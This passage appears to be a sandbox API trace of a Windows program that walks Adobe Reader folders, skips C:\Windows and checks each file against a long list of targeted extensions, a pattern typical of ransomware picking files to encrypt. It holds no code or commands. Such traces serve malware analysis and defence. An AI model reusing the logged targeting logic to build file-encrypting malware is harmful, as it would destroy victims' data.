ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.711] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.711] lstrlenW (lpString=".1cd") returned 4 [0266.715] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.716] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.716] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.716] lstrlenW (lpString=".1cd") returned 4 [0266.823] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.841] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.841] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.841] lstrlenW (lpString=".1cd") returned 4 [0267.065] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.065] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0267.065] lstrlenW (lpString="Dynamic.pdf") returned 11 [0267.065] lstrlenW (lpString=".1cd") returned 4 [0267.508] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.508] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0267.509] lstrlenW (lpString="Dynamic.pdf") returned 11 [0267.509] lstrlenW (lpString=".1cd") returned 4 [0267.510] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0267.511] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0267.511] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0267.512] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned 79 [0267.512] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned 1 [0267.512] lstrlenW (lpString="SLV") returned 3 [0267.512] lstrcmpiW (lpString1="C:\\Windows", lpString2="SLV") returned -1 [0267.512] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x439e000 [0267.512] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV") returned 79 [0267.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0269.841] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.841] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0269.842] lstrlenW (lpString="Dynamic.pdf") returned 11 [0269.842] lstrlenW (lpString=".1cd") returned 4 [0269.842] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0269.842] lstrlenW (lpString=".3ds") returned 4 [0269.842] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0269.842] lstrlenW (lpString=".3fr") returned 4 [0269.842] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0269.842] lstrlenW (lpString=".3g2") returned 4 [0269.842] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1 [0269.843] lstrlenW (lpString=".3gp") returned 4 [0269.843] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0269.843] lstrlenW (lpString=".7z") returned 3 [0269.843] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0269.843] lstrlenW (lpString=".accda") returned 6 [0269.843] lstrcmpiW (lpString1=".accda", lpString2="ic.pdf") returned -1 [0269.843] lstrlenW (lpString=".accdb") returned 6 [0269.843] lstrcmpiW (lpString1=".accdb", lpString2="ic.pdf") returned -1 [0269.843] lstrlenW (lpString=".accdc") returned 6 [0269.844] lstrcmpiW (lpString1=".accdc", lpString2="ic.pdf") returned -1 [0269.844] lstrlenW (lpString=".accde") returned 6 [0269.844] lstrcmpiW (lpString1=".accde", lpString2="ic.pdf") returned -1 [0269.844] lstrlenW (lpString=".accdt") returned 6 [0269.844] lstrcmpiW (lpString1=".accdt", lpString2="ic.pdf") returned -1 [0269.844] lstrlenW (lpString=".accdw") returned 6 [0269.844] lstrcmpiW (lpString1=".accdw", lpString2="ic.pdf") returned -1 [0269.844] lstrlenW (lpString=".adb") returned 4 [0269.844] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0269.844] lstrlenW (lpString=".adp") returned 4 [0269.844] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0269.844] lstrlenW (lpString=".ai") returned 3 [0269.845] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0269.845] lstrlenW (lpString=".ai3") returned 4 [0269.845] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0269.845] lstrlenW (lpString=".ai4") returned 4 [0269.845] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0269.845] lstrlenW (lpString=".ai5") returned 4 [0269.845] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0269.845] lstrlenW (lpString=".ai6") returned 4 [0269.845] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0269.845] lstrlenW (lpString=".ai7") returned 4 [0269.845] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0269.845] lstrlenW (lpString=".ai8") returned 4 [0269.846] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0269.846] lstrlenW (lpString=".anim") returned 5 [0269.846] lstrcmpiW (lpString1=".anim", lpString2="c.pdf") returned -1 [0269.846] lstrlenW (lpString=".arw") returned 4 [0269.846] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0269.846] lstrlenW (lpString=".as") returned 3 [0269.846] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0269.846] lstrlenW (lpString=".asa") returned 4 [0269.846] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0269.846] lstrlenW (lpString=".asc") returned 4 [0269.846] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0269.846] lstrlenW (lpString=".ascx") returned 5 [0269.846] lstrcmpiW (lpString1=".ascx", lpString2="c.pdf") returned -1 [0269.846] lstrlenW (lpString=".asm") returned 4 [0269.846] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0269.846] lstrlenW (lpString=".asmx") returned 5 [0269.847] lstrcmpiW (lpString1=".asmx", lpString2="c.pdf") returned -1 [0269.847] lstrlenW (lpString=".asp") returned 4 [0269.847] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0269.847] lstrlenW (lpString=".aspx") returned 5 [0269.847] lstrcmpiW (lpString1=".aspx", lpString2="c.pdf") returned -1 [0269.847] lstrlenW (lpString=".asr") returned 4 [0269.847] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0269.847] lstrlenW (lpString=".asx") returned 4 [0269.847] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0269.847] lstrlenW (lpString=".avi") returned 4 [0269.847] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0269.847] lstrlenW (lpString=".avs") returned 4 [0269.848] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0269.848] lstrlenW (lpString=".backup") returned 7 [0269.848] lstrcmpiW (lpString1=".backup", lpString2="mic.pdf") returned -1 [0269.848] lstrlenW (lpString=".bak") returned 4 [0269.848] lstrcmpiW (lpString1=".bak", lpString2=".pdf") returned -1 [0269.848] lstrlenW (lpString=".bay") returned 4 [0269.848] lstrcmpiW (lpString1=".bay", lpString2=".pdf") returned -1 [0269.848] lstrlenW (lpString=".bd") returned 3 [0269.848] lstrcmpiW (lpString1=".bd", lpString2="pdf") returned -1 [0269.848] lstrlenW (lpString=".bin") returned 4 [0269.848] lstrcmpiW (lpString1=".bin", lpString2=".pdf") returned -1 [0269.848] lstrlenW (lpString=".bmp") returned 4 [0269.849] lstrcmpiW (lpString1=".bmp", lpString2=".pdf") returned -1 [0269.849] lstrlenW (lpString=".bz2") returned 4 [0269.849] lstrcmpiW (lpString1=".bz2", lpString2=".pdf") returned -1 [0269.849] lstrlenW (lpString=".c") returned 2 [0269.849] lstrcmpiW (lpString1=".c", lpString2="df") returned -1 [0269.849] lstrlenW (lpString=".cdr") returned 4 [0269.849] lstrcmpiW (lpString1=".cdr", lpString2=".pdf") returned -1 [0269.849] lstrlenW (lpString=".cer") returned 4 [0269.849] lstrcmpiW (lpString1=".cer", lpString2=".pdf") returned -1 [0269.849] lstrlenW (lpString=".cf") returned 3 [0269.849] lstrcmpiW (lpString1=".cf", lpString2="pdf") returned -1 [0269.849] lstrlenW (lpString=".cfc") returned 4 [0269.849] lstrcmpiW (lpString1=".cfc", lpString2=".pdf") returned -1 [0269.849] lstrlenW (lpString=".cfm") returned 4 [0269.849] lstrcmpiW (lpString1=".cfm", lpString2=".pdf") returned -1 [0269.850] lstrlenW (lpString=".cfml") returned 5 [0269.850] lstrcmpiW (lpString1=".cfml", lpString2="c.pdf") returned -1 [0269.850] lstrlenW (lpString=".cfu") returned 4 [0269.850] lstrcmpiW (lpString1=".cfu", lpString2=".pdf") returned -1 [0269.850] lstrlenW (lpString=".chm") returned 4 [0269.850] lstrcmpiW (lpString1=".chm", lpString2=".pdf") returned -1 [0269.850] lstrlenW (lpString=".cin") returned 4 [0269.850] lstrcmpiW (lpString1=".cin", lpString2=".pdf") returned -1 [0269.850] lstrlenW (lpString=".class") returned 6 [0269.850] lstrcmpiW (lpString1=".class", lpString2="ic.pdf") returned -1 [0269.850] lstrlenW (lpString=".clx") returned 4 [0269.850] lstrcmpiW (lpString1=".clx", lpString2=".pdf") returned -1 [0269.850] lstrlenW (lpString=".config") returned 7 [0269.851] lstrcmpiW (lpString1=".config", lpString2="mic.pdf") returned -1 [0269.851] lstrlenW (lpString=".cpp") returned 4 [0269.851] lstrcmpiW (lpString1=".cpp", lpString2=".pdf") returned -1 [0269.851] lstrlenW (lpString=".cr2") returned 4 [0269.851] lstrcmpiW (lpString1=".cr2", lpString2=".pdf") returned -1 [0269.851] lstrlenW (lpString=".crt") returned 4 [0269.851] lstrcmpiW (lpString1=".crt", lpString2=".pdf") returned -1 [0269.851] lstrlenW (lpString=".crw") returned 4 [0269.851] lstrcmpiW (lpString1=".crw", lpString2=".pdf") returned -1 [0269.851] lstrlenW (lpString=".cs") returned 3 [0269.851] lstrcmpiW (lpString1=".cs", lpString2="pdf") returned -1 [0269.851] lstrlenW (lpString=".css") returned 4 [0269.852] lstrcmpiW (lpString1=".css", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".csv") returned 4 [0269.852] lstrcmpiW (lpString1=".csv", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".cub") returned 4 [0269.852] lstrcmpiW (lpString1=".cub", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".dae") returned 4 [0269.852] lstrcmpiW (lpString1=".dae", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".dat") returned 4 [0269.852] lstrcmpiW (lpString1=".dat", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".db") returned 3 [0269.852] lstrcmpiW (lpString1=".db", lpString2="pdf") returned -1 [0269.852] lstrlenW (lpString=".dbf") returned 4 [0269.852] lstrcmpiW (lpString1=".dbf", lpString2=".pdf") returned -1 [0269.852] lstrlenW (lpString=".dbx") returned 4 [0269.853] lstrcmpiW (lpString1=".dbx", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dc3") returned 4 [0269.853] lstrcmpiW (lpString1=".dc3", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dcm") returned 4 [0269.853] lstrcmpiW (lpString1=".dcm", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dcr") returned 4 [0269.853] lstrcmpiW (lpString1=".dcr", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".der") returned 4 [0269.853] lstrcmpiW (lpString1=".der", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dib") returned 4 [0269.853] lstrcmpiW (lpString1=".dib", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dic") returned 4 [0269.853] lstrcmpiW (lpString1=".dic", lpString2=".pdf") returned -1 [0269.853] lstrlenW (lpString=".dif") returned 4 [0269.854] lstrcmpiW (lpString1=".dif", lpString2=".pdf") returned -1 [0269.854] lstrlenW (lpString=".divx") returned 5 [0269.854] lstrcmpiW (lpString1=".divx", lpString2="c.pdf") returned -1 [0269.854] lstrlenW (lpString=".djvu") returned 5 [0269.854] lstrcmpiW (lpString1=".djvu", lpString2="c.pdf") returned -1 [0269.854] lstrlenW (lpString=".dng") returned 4 [0269.854] lstrcmpiW (lpString1=".dng", lpString2=".pdf") returned -1 [0269.854] lstrlenW (lpString=".doc") returned 4 [0269.854] lstrcmpiW (lpString1=".doc", lpString2=".pdf") returned -1 [0269.854] lstrlenW (lpString=".docm") returned 5 [0269.854] lstrcmpiW (lpString1=".docm", lpString2="c.pdf") returned -1 [0269.854] lstrlenW (lpString=".docx") returned 5 [0269.854] lstrcmpiW (lpString1=".docx", lpString2="c.pdf") returned -1 [0269.855] lstrlenW (lpString=".dot") returned 4 [0269.855] lstrcmpiW (lpString1=".dot", lpString2=".pdf") returned -1 [0269.855] lstrlenW (lpString=".dotm") returned 5 [0269.855] lstrcmpiW (lpString1=".dotm", lpString2="c.pdf") returned -1 [0269.855] lstrlenW (lpString=".dotx") returned 5 [0269.855] lstrcmpiW (lpString1=".dotx", lpString2="c.pdf") returned -1 [0269.855] lstrlenW (lpString=".dpx") returned 4 [0269.855] lstrcmpiW (lpString1=".dpx", lpString2=".pdf") returned -1 [0269.855] lstrlenW (lpString=".dqy") returned 4 [0269.855] lstrcmpiW (lpString1=".dqy", lpString2=".pdf") returned -1 [0269.855] lstrlenW (lpString=".dsn") returned 4 [0269.855] lstrcmpiW (lpString1=".dsn", lpString2=".pdf") returned -1 [0269.855] lstrlenW (lpString=".dt") returned 3 [0269.855] lstrcmpiW (lpString1=".dt", lpString2="pdf") returned -1 [0269.856] lstrlenW (lpString=".dtd") returned 4 [0269.856] lstrcmpiW (lpString1=".dtd", lpString2=".pdf") returned -1 [0269.856] lstrlenW (lpString=".dwg") returned 4 [0269.856] lstrcmpiW (lpString1=".dwg", lpString2=".pdf") returned -1 [0269.856] lstrlenW (lpString=".dwt") returned 4 [0269.856] lstrcmpiW (lpString1=".dwt", lpString2=".pdf") returned -1 [0269.856] lstrlenW (lpString=".dx") returned 3 [0269.856] lstrcmpiW (lpString1=".dx", lpString2="pdf") returned -1 [0269.856] lstrlenW (lpString=".dxf") returned 4 [0269.856] lstrcmpiW (lpString1=".dxf", lpString2=".pdf") returned -1 [0269.856] lstrlenW (lpString=".edml") returned 5 [0269.856] lstrcmpiW (lpString1=".edml", lpString2="c.pdf") returned -1 [0269.856] lstrlenW (lpString=".efd") returned 4 [0269.856] lstrcmpiW (lpString1=".efd", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".elf") returned 4 [0269.857] lstrcmpiW (lpString1=".elf", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".emf") returned 4 [0269.857] lstrcmpiW (lpString1=".emf", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".emz") returned 4 [0269.857] lstrcmpiW (lpString1=".emz", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".epf") returned 4 [0269.857] lstrcmpiW (lpString1=".epf", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".eps") returned 4 [0269.857] lstrcmpiW (lpString1=".eps", lpString2=".pdf") returned -1 [0269.857] lstrlenW (lpString=".epsf") returned 5 [0269.857] lstrcmpiW (lpString1=".epsf", lpString2="c.pdf") returned -1 [0269.857] lstrlenW (lpString=".epsp") returned 5 [0269.857] lstrcmpiW (lpString1=".epsp", lpString2="c.pdf") returned -1 [0269.858] lstrlenW (lpString=".erf") returned 4 [0269.858] lstrcmpiW (lpString1=".erf", lpString2=".pdf") returned -1 [0269.858] lstrlenW (lpString=".exr") returned 4 [0269.858] lstrcmpiW (lpString1=".exr", lpString2=".pdf") returned -1 [0269.858] lstrlenW (lpString=".f4v") returned 4 [0269.858] lstrcmpiW (lpString1=".f4v", lpString2=".pdf") returned -1 [0269.858] lstrlenW (lpString=".fido") returned 5 [0270.253] lstrcmpiW (lpString1=".fido", lpString2="c.pdf") returned -1 [0270.253] lstrlenW (lpString=".flm") returned 4 [0270.253] lstrcmpiW (lpString1=".flm", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".flv") returned 4 [0270.254] lstrcmpiW (lpString1=".flv", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".frm") returned 4 [0270.254] lstrcmpiW (lpString1=".frm", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".fxg") returned 4 [0270.254] lstrcmpiW (lpString1=".fxg", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".geo") returned 4 [0270.254] lstrcmpiW (lpString1=".geo", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".gif") returned 4 [0270.254] lstrcmpiW (lpString1=".gif", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".grs") returned 4 [0270.254] lstrcmpiW (lpString1=".grs", lpString2=".pdf") returned -1 [0270.254] lstrlenW (lpString=".gz") returned 3 [0270.254] lstrcmpiW (lpString1=".gz", lpString2="pdf") returned -1 [0270.255] lstrlenW (lpString=".h") returned 2 [0270.255] lstrcmpiW (lpString1=".h", lpString2="df") returned -1 [0270.255] lstrlenW (lpString=".hdr") returned 4 [0270.255] lstrcmpiW (lpString1=".hdr", lpString2=".pdf") returned -1 [0270.255] lstrlenW (lpString=".hpp") returned 4 [0270.255] lstrcmpiW (lpString1=".hpp", lpString2=".pdf") returned -1 [0270.255] lstrlenW (lpString=".hta") returned 4 [0270.255] lstrcmpiW (lpString1=".hta", lpString2=".pdf") returned -1 [0270.255] lstrlenW (lpString=".htc") returned 4 [0270.255] lstrcmpiW (lpString1=".htc", lpString2=".pdf") returned -1 [0270.255] lstrlenW (lpString=".htm") returned 4 [0270.255] lstrcmpiW (lpString1=".htm", lpString2=".pdf") returned -1 [0270.255] lstrlenW (lpString=".html") returned 5 [0270.256] lstrcmpiW (lpString1=".html", lpString2="c.pdf") returned -1 [0270.256] lstrlenW (lpString=".icb") returned 4 [0270.256] lstrcmpiW (lpString1=".icb", lpString2=".pdf") returned -1 [0270.256] lstrlenW (lpString=".ics") returned 4 [0270.256] lstrcmpiW (lpString1=".ics", lpString2=".pdf") returned -1 [0270.256] lstrlenW (lpString=".iff") returned 4 [0270.256] lstrcmpiW (lpString1=".iff", lpString2=".pdf") returned -1 [0270.256] lstrlenW (lpString=".inc") returned 4 [0270.256] lstrcmpiW (lpString1=".inc", lpString2=".pdf") returned -1 [0270.256] lstrlenW (lpString=".indd") returned 5 [0270.256] lstrcmpiW (lpString1=".indd", lpString2="c.pdf") returned -1 [0270.256] lstrlenW (lpString=".ini") returned 4 [0270.256] lstrcmpiW (lpString1=".ini", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".iqy") returned 4 [0270.257] lstrcmpiW (lpString1=".iqy", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".j2c") returned 4 [0270.257] lstrcmpiW (lpString1=".j2c", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".j2k") returned 4 [0270.257] lstrcmpiW (lpString1=".j2k", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".java") returned 5 [0270.257] lstrcmpiW (lpString1=".java", lpString2="c.pdf") returned -1 [0270.257] lstrlenW (lpString=".jp2") returned 4 [0270.257] lstrcmpiW (lpString1=".jp2", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".jpc") returned 4 [0270.257] lstrcmpiW (lpString1=".jpc", lpString2=".pdf") returned -1 [0270.257] lstrlenW (lpString=".jpe") returned 4 [0270.257] lstrcmpiW (lpString1=".jpe", lpString2=".pdf") returned -1 [0270.258] lstrlenW (lpString=".jpeg") returned 5 [0270.258] lstrcmpiW (lpString1=".jpeg", lpString2="c.pdf") returned -1 [0270.258] lstrlenW (lpString=".jpf") returned 4 [0270.258] lstrcmpiW (lpString1=".jpf", lpString2=".pdf") returned -1 [0270.258] lstrlenW (lpString=".jpg") returned 4 [0270.258] lstrcmpiW (lpString1=".jpg", lpString2=".pdf") returned -1 [0270.258] lstrlenW (lpString=".jpx") returned 4 [0270.258] lstrcmpiW (lpString1=".jpx", lpString2=".pdf") returned -1 [0270.258] lstrlenW (lpString=".js") returned 3 [0270.258] lstrcmpiW (lpString1=".js", lpString2="pdf") returned -1 [0270.258] lstrlenW (lpString=".jsf") returned 4 [0270.258] lstrcmpiW (lpString1=".jsf", lpString2=".pdf") returned -1 [0270.258] lstrlenW (lpString=".json") returned 5 [0270.259] lstrcmpiW (lpString1=".json", lpString2="c.pdf") returned -1 [0270.259] lstrlenW (lpString=".jsp") returned 4 [0270.259] lstrcmpiW (lpString1=".jsp", lpString2=".pdf") returned -1 [0270.259] lstrlenW (lpString=".kdc") returned 4 [0270.259] lstrcmpiW (lpString1=".kdc", lpString2=".pdf") returned -1 [0270.259] lstrlenW (lpString=".kmz") returned 4 [0270.259] lstrcmpiW (lpString1=".kmz", lpString2=".pdf") returned -1 [0270.259] lstrlenW (lpString=".kwm") returned 4 [0270.259] lstrcmpiW (lpString1=".kwm", lpString2=".pdf") returned -1 [0270.259] lstrlenW (lpString=".lasso") returned 6 [0270.259] lstrcmpiW (lpString1=".lasso", lpString2="ic.pdf") returned -1 [0270.259] lstrlenW (lpString=".lbi") returned 4 [0270.259] lstrcmpiW (lpString1=".lbi", lpString2=".pdf") returned -1 [0270.259] lstrlenW (lpString=".lgf") returned 4 [0270.260] lstrcmpiW (lpString1=".lgf", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".lgp") returned 4 [0270.260] lstrcmpiW (lpString1=".lgp", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".log") returned 4 [0270.260] lstrcmpiW (lpString1=".log", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".m1v") returned 4 [0270.260] lstrcmpiW (lpString1=".m1v", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".m4a") returned 4 [0270.260] lstrcmpiW (lpString1=".m4a", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".m4v") returned 4 [0270.260] lstrcmpiW (lpString1=".m4v", lpString2=".pdf") returned -1 [0270.260] lstrlenW (lpString=".max") returned 4 [0270.260] lstrcmpiW (lpString1=".max", lpString2=".pdf") returned -1 [0270.260] 